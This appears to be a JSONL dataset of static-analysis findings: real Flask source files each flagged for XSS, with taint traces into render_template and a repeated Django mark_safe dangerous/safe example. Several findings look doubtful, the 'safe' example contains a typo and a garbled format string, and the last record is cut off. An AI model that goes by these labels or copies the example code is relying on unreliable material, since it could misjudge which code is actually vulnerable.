{"id": "7a61aa58fcf69490b9e12ac642073fe8b42b75d0034ec973e0b2838498b397bd", "license": {"spdx": ["Apache-2.0"], "repo": "neeraj310/DLfM_BrandManagement", "path": "src/main.py", "repo_head_hexsha": "1df952ed38018391c876b822338f30ff9c9f6568", "stack_hexsha": "879aa68e685cec97b9d594f9347dab0f1569f23f", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 118, "entireCode": "from flask import Flask, render_template, request, redirect, url_for\nimport tensorflow as tf\nfrom keras.models import load_model\nfrom keras.backend import set_session\nfrom src.utils import image_preprocessing\nfrom src.utils import overall_class_label\nfrom src.utils import infinite_scraper\n\n# sessions and default graphs are needed to make tensorflow work properly\nglobal sess\nglobal graph\nsess = tf.Session()\ngraph = tf.get_default_graph()\nset_session(sess)\nnum_attributes = 4\nmodel = [[] for i in range(num_attributes)]\nmodel[0] = load_model('./model/augmented/glamarous_model.h5')\nmodel[1] = load_model('./model/augmented/rugged_model.h5')\nmodel[2] = load_model('./model/augmented/fun_model.h5')\nmodel[3] = load_model('./model/augmented/healthy_model.h5')\n\n\napp = Flask(__name__)\n\n\n# this function collects images from the official and the unofficial (hashtag) page\ndef data_collection(official, unofficial):\n    # specify number of images to retrieve\n    # Note: you do not retrieve exactly 36 images but 36 + the last batch\n    LIMIT_IMAGE_COUNT = 36\n\n    # specify your 'personal' instagram page, needed to get access to the API\n    # Note: Instagram will block access to their API when you retrieve too many images within a short amount of time\n    user_name = ''\n    password = ''\n\n    # retrieve lists of URLs for both the official and unofficial account\n    official_images = infinite_scraper.official(user_name, password, LIMIT_IMAGE_COUNT, official)\n    unofficial_images = infinite_scraper.unofficial(user_name, password, LIMIT_IMAGE_COUNT, unofficial)\n    return official_images, unofficial_images\n\n\n# this function reformats the collected images to make them usable as model input (X_test)\n# the images are stored in python objects, that way the user does not have to download images on his/her computer\ndef data_preprocessing(official_images, unofficial_images):\n    preprocessed_data_official = image_preprocessing.preprocessing(official_images)\n    preprocessed_data_unofficial = image_preprocessing.preprocessing(unofficial_images)\n    return preprocessed_data_official, preprocessed_data_unofficial\n\n\n# this function takes the preprocessed images and feeds them into the pretrained models\n# as output we get a list with the predicted labels\ndef make_prediction(preprocessed_data):\n    X_test = preprocessed_data\n\n    # tensorflow specifics to correctly use a pretrained model\n    with graph.as_default():\n        set_session(sess)\n        y_pred = [[] for i in range(num_attributes)]\n        for i in range(num_attributes):\n            y_pred[i] = model[i].predict(X_test)\n        y_pred_label = overall_class_label.give_ovr_class_label_output(y_pred)\n    # encoded label\n    y_pred_lst = y_pred_label.tolist()\n    # map back to original label name\n    code2label = {0: 'glamorous', 1: 'rugged', 2: 'fun', 3: 'healthy'}\n    y_pred_lbnm = map(code2label.get, y_pred_lst)\n    y_pred_lbnm = list(y_pred_lbnm)\n    prediction = y_pred_lbnm\n    total = len(prediction)\n    return prediction, total\n\n\n# the homepage the user sees when starting the application\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\ndef index():\n    # once the user entered the data and clicked on 'Predict', the data is captured and redirected to the predict page\n    if request.method == \"POST\":\n        official = request.form[\"official\"]\n        unofficial = request.form[\"unofficial\"]\n        return redirect(url_for(\"predict\", official=official, unofficial=unofficial))\n    else:\n        return render_template(\"index.html\")\n\n\n# the page the user gets redirected to after hitting the 'Predict' button on the homepage\n# Note: the entire pipeline takes a couple of minutes since we feed every picture in each of the four models\n@app.route(\"/predict/\", methods=[\"POST\", \"GET\"])\ndef predict():\n    official = request.args.get('official')\n    unofficial = request.args.get('unofficial')\n    official_images, unofficial_images = data_collection(official, unofficial)\n    preprocessed_data_official, preprocessed_data_unofficial = data_preprocessing(official_images, unofficial_images)\n    prediction_official, total_official = make_prediction(preprocessed_data_official)\n    prediction_unofficial, total_unofficial = make_prediction(preprocessed_data_unofficial)\n\n    # generate the numbers to be displayed in the analysis table\n    # for official:\n    fun_official = prediction_official.count('fun')\n    glamorous_official = prediction_official.count('glamorous')\n    healthy_official = prediction_official.count('healthy')\n    rugged_official = prediction_official.count('rugged')\n    # for unofficial:\n    fun_unofficial = prediction_unofficial.count('fun')\n    glamorous_unofficial = prediction_unofficial.count('glamorous')\n    healthy_unofficial = prediction_unofficial.count('healthy')\n    rugged_unofficial = prediction_unofficial.count('rugged')\n    # for relative table:\n    fun_official_rel = round(fun_official/total_official*100)\n    fun_unofficial_rel = round(fun_unofficial/total_unofficial*100)\n    glamorous_official_rel = round(glamorous_official / total_official*100)\n    glamorous_unofficial_rel = round(glamorous_unofficial / total_unofficial*100)\n    healthy_official_rel = round(healthy_official / total_official*100)\n    healthy_unofficial_rel = round(healthy_unofficial / total_unofficial*100)\n    rugged_official_rel = round(rugged_official / total_official*100)\n    rugged_unofficial_rel = round(rugged_unofficial / total_unofficial*100)\n\n    return render_template(\"predict.html\", fo=fun_official, fu=fun_unofficial, fo_rel=fun_official_rel, fu_rel=fun_unofficial_rel,\n                           go=glamorous_official, gu=glamorous_unofficial, go_rel=glamorous_official_rel, gu_rel=glamorous_unofficial_rel,\n                           ho=healthy_official, hu=healthy_unofficial, ho_rel=healthy_official_rel, hu_rel=healthy_unofficial_rel,\n                           ro=rugged_official, ru=rugged_unofficial, ro_rel=rugged_official_rel, ru_rel=rugged_unofficial_rel,\n                           to=total_official, tu=total_unofficial, unofficial=unofficial)\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"127.0.0.1\", port=8080, debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 91, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 91, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 91, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 91, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 118, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "610a601259792fdb32f2aef83fc12fa74c6b41eaa63bc69c01e7a54eafd63acb", "license": {"spdx": ["MIT"], "repo": "thowell332/Mini-Amazon", "path": "app/purchases.py", "repo_head_hexsha": "927c387d569aef00275b7d6ecaae891fc16025e9", "stack_hexsha": "ea83c30edcb40ded19cfef34c991c3cc46a06772", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 34, "entireCode": "from re import S\nfrom flask import render_template, redirect, url_for, flash, request\nfrom flask_paginate import Pagination, get_page_parameter\nfrom flask_login import current_user\nfrom flask_wtf import FlaskForm\nfrom wtforms import SubmitField\nfrom flask_babel import _, lazy_gettext as _l\nfrom flask_login import current_user\n\nfrom .models.purchase import Purchase, PurchaseSummary, PurchaseEntry\nfrom .models.user import User\n\nfrom flask import Blueprint\nbp = Blueprint('purchases', __name__)\n\n# Route to show a user's past purchases.\n@bp.route('/purchases', methods=['GET', 'POST'])\ndef purchases():\n \n    # Set up pagination.\n    page = request.args.get(get_page_parameter(), type=int, default=1)\n    per_page = 10\n    start = (page - 1) * per_page\n\n    # If user is not logged in, redirect.\n    if not current_user.is_authenticated:\n        return redirect(url_for('users.login'))\n    seller_status = User.sellerStatus(current_user.id)\n\n    # Get list of past purchases.\n    past_purchases = Purchase._get_purchases(current_user.id)\n        \n    pagination = Pagination(page=page, per_page=per_page, total=len(past_purchases), record_name='products')\n    return render_template('purchases.html', purchases=past_purchases[start: start + per_page], pagination=pagination, seller_status=seller_status)\n\n# Route to show a specific order.\n@bp.route('/individual-purchase', methods=['GET', 'POST'])\ndef individual_purchase(purchase_id):\n\n    # If user is not logged in, redirect.\n    if not current_user.is_authenticated:\n        return redirect(url_for('users.login'))\n    seller_status = User.sellerStatus(current_user.id)\n\n    # Get all entries in the purchase and the total price.\n    purchase_entries = Purchase._get_individual_purchase(current_user.id, purchase_id)\n    total_price_paid = Purchase._get_total_purchase_cost(current_user.id, purchase_id)\n    total_price_paid = ('%.2f'%total_price_paid)\n\n    return render_template('individualPurchase.html', purchase_id=purchase_id, purchase_entries=purchase_entries, total_price_paid=total_price_paid, seller_status=seller_status)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Pagination"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "Pagination"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 34, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "1e8d2a01c7412124fcd340fed8044d0c50dd3453af9b837dc76c96c6a4c41883", "license": {"spdx": ["Apache-2.0"], "repo": "haitaoss/flask_study", "path": "flask_code/day02_request/12xss.py", "repo_head_hexsha": "c8431f17c1156b7086d85c914edbfb5293ae50f1", "stack_hexsha": "d50ac85d5573725c47a9716c89b128de25b4d933", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 17, "entireCode": "# coding:utf-8\n\nfrom flask import Flask, render_template, request\n\n# 创建flask应用\napp = Flask(__name__)\n\n\n\n\n# 视图函数\n@app.route('/xss', methods=['POST', 'GET'])\ndef xss():\n    text = \"\"\n    if request.method == 'POST':\n        text = request.form.get('text')\n    return render_template('xss.html', text=text)\n\n\n# 启动flas应用\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8080, debug=True)\n    # manager.run()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 17, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "9a9247c17b718b8c0b5e76eff0fef38fabd9eccf6c4ffc3a7f0368ff72503ede", "license": {"spdx": ["BSD-3-Clause"], "repo": "peterdemartini/KrakenMaster", "path": "kraken/public/views.py", "repo_head_hexsha": "2b3ed18f6dcc720e66e1ac397a3b5ee902914e58", "stack_hexsha": "dcf50395b719a7f5d100f42a4c173a03d2453dfa", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 45, "entireCode": "# -*- coding: utf-8 -*-\n'''Public section, including homepage and signup.'''\nfrom flask import (Blueprint, request, render_template, flash, url_for,\n                    redirect, session)\nfrom flask.ext.login import login_user, login_required, logout_user\n\nfrom kraken.extensions import login_manager\nfrom kraken.user.models import User\nfrom kraken.public.forms import LoginForm\nfrom kraken.user.forms import RegisterForm\nfrom kraken.grade.models import Grade\nfrom kraken.utils import flash_errors\nfrom kraken.database import db\n\nfrom kraken.helpers.Skynet import Skynet\n\nblueprint = Blueprint('public', __name__, static_folder=\"../static\")\n\n@login_manager.user_loader\ndef load_user(id):\n    return User.get_by_id(int(id))\n\n\n@blueprint.route(\"/\", methods=[\"GET\", \"POST\"])\ndef home():\n    skynet = Skynet()\n    messages = []\n    data = skynet.get_my_events()\n    if data and 'events' in data:\n        for event in data['events']:\n            if event and 'message' in event:\n                print(\"MESSAGE :: %s \" % event['message'])\n                messages.append(event['message'])\n    form = LoginForm(request.form)\n    # Handle logging in\n    if request.method == 'POST':\n        if form.validate_on_submit():\n            login_user(form.user)\n            flash(\"You are logged in.\", 'success')\n            redirect_url = request.args.get(\"next\") or url_for(\"user.members\")\n            return redirect(redirect_url)\n        else:\n            flash_errors(form)\n    grades = Grade.get_recent(100, \"created_at DESC\");\n    return render_template(\"public/home.html\", form=form, grades = grades, messages=messages)\n\n@blueprint.route('/logout/')\n@login_required\ndef logout():\n    logout_user()\n    flash('You are logged out.', 'info')\n    return redirect(url_for('public.home'))\n\n@blueprint.route(\"/register/\", methods=['GET', 'POST'])\ndef register():\n    form = RegisterForm(request.form, csrf_enabled=False)\n    if form.validate_on_submit():\n        new_user = User.create(username=form.username.data,\n                        email=form.email.data,\n                        password=form.password.data,\n                        active=True)\n        flash(\"Thank you for registering. You can now log in.\", 'success')\n        return redirect(url_for('public.home'))\n    else:\n        flash_errors(form)\n    return render_template('public/register.html', form=form)\n\n@blueprint.route(\"/about/\")\ndef about():\n    form = LoginForm(request.form)\n    return render_template(\"public/about.html\", form=form)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "LoginForm"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "LoginForm"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "93a188f31f064043139faedc7042f25f951e0cee2ac33dd79dfdd81b95cdb6c0", "license": {"spdx": ["MIT"], "repo": "okara83/Becoming-a-Data-Scientist", "path": "Cloud Services and Computing/Amazon AWS/Lambdas/Lambdas-Practice-Web-Examples/aws-tutorial-code-master/textract/bounding-box-kv-tables/flask-app/app.py", "repo_head_hexsha": "f09a15f7f239b96b77a2f080c403b2f3e95c9650", "stack_hexsha": "b3972e6ffb6c4aa24b8e72c30d0d7fe2844a3e14", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 46, "entireCode": "import os\nimport time\nfrom flask import Flask, render_template, request\nfrom aws_requests_auth.aws_auth import AWSRequestsAuth\nimport requests\nimport uuid\nimport base64\nimport shutil\nfrom config import Config\n\napp = Flask(__name__)\n\nconfig = Config()\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n    if \"uploadFile\" in request.files:\n        try:\n            shutil.rmtree(\"static/temp\")\n        except:\n            pass\n        os.makedirs(\"static/temp\", exist_ok=True)\n        uploaded_file = request.files.get(\"uploadFile\", None)\n        uploaded_file = uploaded_file.read()\n        file_name = f\"{uuid.uuid4().hex}.png\"\n\n        endpoint = f\"{config.ENDPOINT}/upload?filename={file_name}\"\n        response = requests.get(endpoint, auth=sign())\n        response = response.json()\n\n        files = {\"file\": (file_name, uploaded_file)}\n        http_response = requests.post(\n            response[\"url\"], data=response[\"fields\"], files=files\n        )\n        full_filename = download_processed_file(file_name)\n\n        with open(f\"static/temp/{file_name}\", \"wb\") as f:\n            f.write(full_filename)\n        processed_image = os.path.join(\"static/temp\", file_name)\n        uploaded_file = base64.b64encode(uploaded_file).decode(\"utf-8\")\n    else:\n        processed_image = None\n        uploaded_file = None\n\n    return render_template(\n        \"home.html\", processed_image=processed_image, uploaded_file=uploaded_file\n    )\n\n\ndef sign():\n    auth = AWSRequestsAuth(\n        aws_access_key=config.AWS_ACCESS_KEY_ID,\n        aws_secret_access_key=config.AWS_SECRET_ACCESS_KEY,\n        aws_host=config.HOST,\n        aws_region=\"us-east-1\",\n        aws_service=\"execute-api\",\n    )\n    return auth\n\n\ndef download_processed_file(file_name):\n    while True:\n        endpoint = f\"{config.ENDPOINT}/download?filename={file_name}\"\n        response = requests.get(endpoint, auth=sign())\n        if response.status_code == 200:\n            response = requests.get(response.text)\n            return response.content\n        time.sleep(1)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.files"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "base64.b64encode"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "decode"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 46, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "c713fc76131c5ff3deed20d3997a431ee954916c0c0a4333f05c18d248f4ae23", "license": {"spdx": ["MIT"], "repo": "sensi277/rebble-auth-py", "path": "auth/oauth.py", "repo_head_hexsha": "298b7b15f0835d8379e0ef132a129940061a9ca1", "stack_hexsha": "1b0d7458eb7f29bf8431f38d4ac67830ed31e880", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 116, "entireCode": "from datetime import datetime, timedelta\nimport logging\n\nfrom flask import Blueprint, abort, render_template, request, redirect\nfrom flask_oauthlib.provider import OAuth2Provider\nfrom oauthlib.common import generate_token as generate_random_token\nfrom flask_login import current_user, login_required\n\nfrom auth.login.base import demand_pebble\nfrom .models import db, IssuedToken, AuthClient, User\nfrom .redis import client as redis\nimport json\n\noauth_bp = Blueprint('oauth_bp', __name__)\noauth = OAuth2Provider()\n\n\nclass Grant:\n    def __init__(self, client_id, code, user_id, scopes, redirect_uri):\n        self.client_id = client_id\n        self.code = code\n        self.user_id = user_id\n        self.scopes = scopes\n        self.redirect_uri = redirect_uri\n\n    @property\n    def user(self):\n        return User.query.filter_by(id=self.user_id).one()\n\n    def delete(self):\n        redis.delete(self.key)\n\n    @property\n    def key(self):\n        return self.redis_key(self.client_id, self.code)\n\n    def serialise(self):\n        return json.dumps([self.client_id, self.code, self.user_id, self.scopes, self.redirect_uri]).encode('utf-8')\n\n    @classmethod\n    def deserialise(cls, serialised):\n        return cls(*json.loads(serialised.decode('utf-8')))\n\n    @classmethod\n    def redis_key(cls, client_id, code):\n        return f'grant-{client_id}-{code}'\n\n\n@oauth.grantgetter\ndef load_grant(client_id, code):\n    return Grant.deserialise(redis.get(Grant.redis_key(client_id, code)))\n\n\n@oauth.grantsetter\ndef set_grant(client_id, code, request, *args, **kwargs):\n    if not current_user.is_authenticated:\n        logging.error(\"Tried to set a grant for a user who is not logged in!?\")\n        return None\n    grant = Grant(client_id, code['code'], current_user.id, request.scopes, request.redirect_uri)\n    redis.setex(grant.key, 100, grant.serialise())\n    return grant\n\n\n@oauth.tokengetter\ndef get_token(access_token=None, refresh_token=None):\n    if access_token:\n        # There are two valid 'tokens': ones we've issued, and the Pebble token.\n        # Because we don't actually store the pebble token as an issued token, we have to\n        # check for it here and invent a token if it's the one we tried to use.\n        token = IssuedToken.query.filter_by(access_token=access_token).one_or_none()\n        if token:\n            return token\n        user = User.query.filter_by(pebble_token=access_token).one_or_none()\n        if user:\n            return IssuedToken(access_token=access_token, refresh_token=None, expires=None, client_id=None, user=user,\n                               scopes=['pebble', 'pebble_token', 'profile'])\n    elif refresh_token:\n        return IssuedToken.query.filter_by(refresh_token=refresh_token).one_or_none()\n\n\n@oauth.tokensetter\ndef set_token(token, request, *args, **kwargs):\n    expires_in = token.get('expires_in')\n    expires = datetime.utcnow() + timedelta(seconds=expires_in)\n    scopes = token['scope'].split(' ')\n\n    token = IssuedToken(access_token=token['access_token'], refresh_token=token['refresh_token'], expires=expires,\n                        client_id=request.client.client_id, user_id=request.user.id,\n                        scopes=scopes)\n\n    db.session.add(token)\n    db.session.commit()\n    return token\n\n\n@oauth.clientgetter\ndef get_client(client_id):\n    return AuthClient.query.filter_by(client_id=client_id).one()\n\n\n@oauth_bp.route('/authorise', methods=['GET', 'POST'])\n@login_required\n@oauth.authorize_handler\ndef authorise(*args, **kwargs):\n    return True\n\n\n@oauth_bp.route('/token', methods=['GET', 'POST'])\n@oauth.token_handler\ndef access_token():\n    return None\n\n\n@oauth_bp.route('/error')\ndef oauth_error():\n    return render_template('oauth-error.html',\n                           error=request.args.get('error', 'unknown'),\n                           error_description=request.args.get('error_description', '')), 400\n\n\ndef generate_token(request, refresh_token=False):\n    return generate_random_token()\n\n\ndef init_app(app):\n    app.config['OAUTH2_PROVIDER_TOKEN_EXPIRES_IN'] = 315576000  # 10 years\n    app.config['OAUTH2_PROVIDER_ERROR_ENDPOINT'] = 'oauth_bp.oauth_error'\n    oauth.init_app(app)\n    app.register_blueprint(oauth_bp, url_prefix='/oauth')\n    app.extensions['csrf'].exempt(oauth_bp)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 116, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}, {"lineNo": 